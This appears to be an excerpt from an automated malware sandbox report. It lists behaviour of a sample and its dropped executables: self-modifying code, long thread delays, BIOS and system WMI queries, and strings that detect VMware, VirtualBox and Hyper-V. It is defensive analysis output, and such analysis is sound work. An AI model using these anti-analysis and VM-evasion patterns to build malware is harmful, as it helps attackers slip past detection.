Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Special instruction interceptor: First address: 3615D3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Special instruction interceptor: First address: 3BE793 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Memory allocated: 1240000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Memory allocated: 2CF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Memory allocated: 4CF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Memory allocated: 5310000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Memory allocated: 6310000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Memory allocated: 6440000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Memory allocated: 7440000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Memory allocated: B670000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Memory allocated: C670000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Memory allocated: CB00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Memory allocated: DB00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Memory allocated: ED20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Memory allocated: FD20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Memory allocated: 10D20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Memory allocated: 3180000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Memory allocated: 3320000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Memory allocated: 5320000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Memory allocated: 8F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Memory allocated: 2830000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Memory allocated: BC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Memory allocated: 4DD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Memory allocated: 5DD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Memory allocated: 5F00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Memory allocated: 6F00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Memory allocated: AA70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Memory allocated: BA70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Memory allocated: BF00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Memory allocated: 5F00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Memory allocated: AA70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Memory allocated: BF00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Memory allocated: 27E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Memory allocated: 2AB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Memory allocated: 4AB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Memory allocated: FE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Memory allocated: 2BC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Memory allocated: 2A00000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04F30E14 rdtsc

0_2_04F30E14

Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 957	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 363	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1307	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1232	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Window / User API: threadDelayed 2648
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Window / User API: threadDelayed 7149
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7236
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2468
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8012
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1635
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 832

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017355001\96ae609d19.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7892	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7852	Thread sleep count: 957 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7852	Thread sleep time: -1914957s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7836	Thread sleep count: 363 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7836	Thread sleep time: -10890000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7872	Thread sleep count: 1307 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7872	Thread sleep time: -2615307s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7856	Thread sleep count: 1232 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7856	Thread sleep time: -2465232s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe TID: 8068	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe TID: 4008	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe TID: 7400	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe TID: 1220	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -37815825351104557s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -99890s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -99781s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -99672s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -99553s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -99422s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -99312s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -99203s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -99094s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -98980s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -98860s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -98735s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -98610s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -98485s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -98360s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -98235s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -98110s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -97985s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -97860s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -97735s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -97610s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -97485s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -97360s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -97235s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -97110s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -96985s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -96859s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -96750s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -96615s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -96484s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -96335s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -96216s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -96075s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -95969s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -95859s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -95750s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -95641s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -95531s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -95422s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -95313s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -95203s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -95094s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -94984s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -94875s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -94766s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -94656s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -94547s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe TID: 7396	Thread sleep time: -94437s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5308	Thread sleep count: 7236 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3168	Thread sleep count: 2468 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4544	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep count: 8012 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7632	Thread sleep count: 1635 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7572	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe TID: 5368	Thread sleep time: -90000s >= -30000s
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe TID: 6696	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe TID: 6360	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 99890
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 99781
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 99672
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 99553
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 99422
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 99312
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 99203
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 99094
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 98980
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 98860
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 98735
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 98610
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 98485
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 98360
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 98235
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 98110
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 97985
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 97860
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 97735
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 97610
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 97485
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 97360
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 97235
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 97110
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 96985
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 96859
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 96750
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 96615
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 96484
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 96335
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 96216
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 96075
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 95969
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 95859
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 95750
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 95641
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 95531
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 95422
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 95313
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 95203
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 95094
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 94984
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 94875
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 94766
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 94656
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 94547
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Thread delayed: delay time: 94437
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted

Source: skotes.exe, skotes.exe, 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmp, ac68c6b737.exe, 00000015.00000002.2764578126.000000000031C000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware\V
Source: zudFSfy.exe, 00000009.00000002.2486574208.0000000003321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2486574208.0000000003595000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002D27000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmGuestLib.dll
Source: skotes.exe, 00000006.00000002.2970891358.0000000000788000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen@\^q
Source: e56fffc2ce.exe, 0000000E.00000002.2856597884.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWareLR^q
Source: kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: EP 51PUpBDxDgY aVpfgPZd@\^q0Microsoft\|VMWare\|Virtual
Source: zudFSfy.exe, 00000009.00000002.2486574208.0000000003595000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q"C:\Windows\system32\vmGuestLib.dll
Source: kz8ZdyP.exe, 0000000D.00000002.2585412767.00000000056D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Windows\system32\vmGuestLib.dllM/
Source: kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q 1:en-CH:VMware\|VIRTUAL\|A M I\|Xen
Source: e56fffc2ce.exe, 0000000E.00000002.2856597884.0000000000DB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual@\^q
Source: skotes.exe, 00000006.00000002.2970891358.0000000000748000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: skotes.exe, 00000006.00000002.2970891358.0000000000788000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWZ
